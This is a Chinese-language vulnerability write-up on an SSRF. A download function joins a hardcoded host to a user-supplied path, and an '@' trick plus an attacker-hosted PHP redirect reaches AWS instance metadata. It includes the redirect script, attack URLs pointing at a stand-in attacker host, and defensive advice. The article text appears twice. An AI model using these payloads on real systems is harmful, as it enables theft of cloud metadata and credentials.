AWS Metadata Disclosure via “Hardcoded Host” Download Function
字数 842 2025-08-26 22:11:51

AWS Metadata Disclosure via "Hardcoded Host" Download Function 漏洞分析与利用

漏洞概述

本文详细分析了一种通过"硬编码主机"下载功能导致的AWS元数据泄露漏洞。该漏洞存在于某些网站的下载功能实现中,攻击者可以利用URL重定向技术访问AWS内部元数据服务,从而获取敏感信息。

漏洞发现过程

  1. 初始发现下载链接格式:

    https://redacted.com/download?file=/2019/08/file.pdf
    
  2. 测试任意文件下载漏洞:

    • 尝试访问index.php失败
    • 推测下载功能可能:
      • 受到保护限制
      • 通过CDN或其他主机重定向实现

技术原理分析

后端代码推测

漏洞网站可能使用类似以下PHP代码实现下载功能:

$host = 'https://cdn.redacted.com';
$file = $_GET['file'];

$download_url = $host .'/'. $file;

这种实现方式存在两个关键问题:

  1. 硬编码了主机地址
  2. 未对用户输入的file参数进行严格过滤

URL重定向技术

攻击者可以利用@符号进行URL重定向:

https://redacted.com/download?file=/2019/08/file.pdf@www.google.com

这种技术可以:

  • 绕过部分URL验证
  • 将请求重定向到攻击者控制的服务器

AWS元数据泄露利用

AWS元数据服务

AWS EC2实例通过特定内部URL提供元数据服务:

http://169.254.169.254/latest/meta-data/

利用步骤

  1. 直接尝试访问AWS元数据失败(HTTP协议问题):

    https://redacted.com/download?file=/2019/08/file.pdf@169.254.169.254/latest/meta-data/
    
  2. 解决方法:使用HTTPS中间跳转

    • 创建一个简单的PHP重定向脚本:
      <?php
      header('location: http://169.254.169.254/latest/meta-data/')
      
    • 将脚本上传到HTTPS服务器
    • 构造最终攻击URL:
      https://redacted.com/download?file=/2019/08/file.pdf@attacker.com/redirect.php
      

可获取的敏感信息

成功利用后可获取:

  • 本地主机名和公共主机名
  • 本地IP地址和公共IP地址
  • 可能的SSH私钥(用于服务器访问)

防御措施

  1. 代码层面:

    • 避免硬编码主机地址
    • 严格验证用户输入的文件路径
    • 实现白名单机制限制可下载文件
  2. AWS安全配置:

    • 限制元数据服务的访问权限
    • 使用IMDSv2(需要令牌的元数据服务版本)
    • 定期轮换敏感凭证
  3. 网络层面:

    • 实施严格的出站流量控制
    • 监控异常的元数据服务访问

总结

该漏洞展示了看似无害的文件下载功能如何成为攻击者获取敏感信息的入口点。开发人员应始终对用户输入保持警惕,并避免在代码中硬编码敏感信息或配置。对于AWS环境,应特别注意元数据服务的保护,防止信息泄露。

AWS Metadata Disclosure via "Hardcoded Host" Download Function 漏洞分析与利用 漏洞概述 本文详细分析了一种通过"硬编码主机"下载功能导致的AWS元数据泄露漏洞。该漏洞存在于某些网站的下载功能实现中,攻击者可以利用URL重定向技术访问AWS内部元数据服务,从而获取敏感信息。 漏洞发现过程 初始发现下载链接格式: 测试任意文件下载漏洞: 尝试访问 index.php 失败 推测下载功能可能: 受到保护限制 通过CDN或其他主机重定向实现 技术原理分析 后端代码推测 漏洞网站可能使用类似以下PHP代码实现下载功能: 这种实现方式存在两个关键问题: 硬编码了主机地址 未对用户输入的 file 参数进行严格过滤 URL重定向技术 攻击者可以利用 @ 符号进行URL重定向: 这种技术可以: 绕过部分URL验证 将请求重定向到攻击者控制的服务器 AWS元数据泄露利用 AWS元数据服务 AWS EC2实例通过特定内部URL提供元数据服务: 利用步骤 直接尝试访问AWS元数据失败(HTTP协议问题): 解决方法:使用HTTPS中间跳转 创建一个简单的PHP重定向脚本: 将脚本上传到HTTPS服务器 构造最终攻击URL: 可获取的敏感信息 成功利用后可获取: 本地主机名和公共主机名 本地IP地址和公共IP地址 可能的SSH私钥(用于服务器访问) 防御措施 代码层面: 避免硬编码主机地址 严格验证用户输入的文件路径 实现白名单机制限制可下载文件 AWS安全配置: 限制元数据服务的访问权限 使用IMDSv2(需要令牌的元数据服务版本) 定期轮换敏感凭证 网络层面: 实施严格的出站流量控制 监控异常的元数据服务访问 总结 该漏洞展示了看似无害的文件下载功能如何成为攻击者获取敏感信息的入口点。开发人员应始终对用户输入保持警惕,并避免在代码中硬编码敏感信息或配置。对于AWS环境,应特别注意元数据服务的保护,防止信息泄露。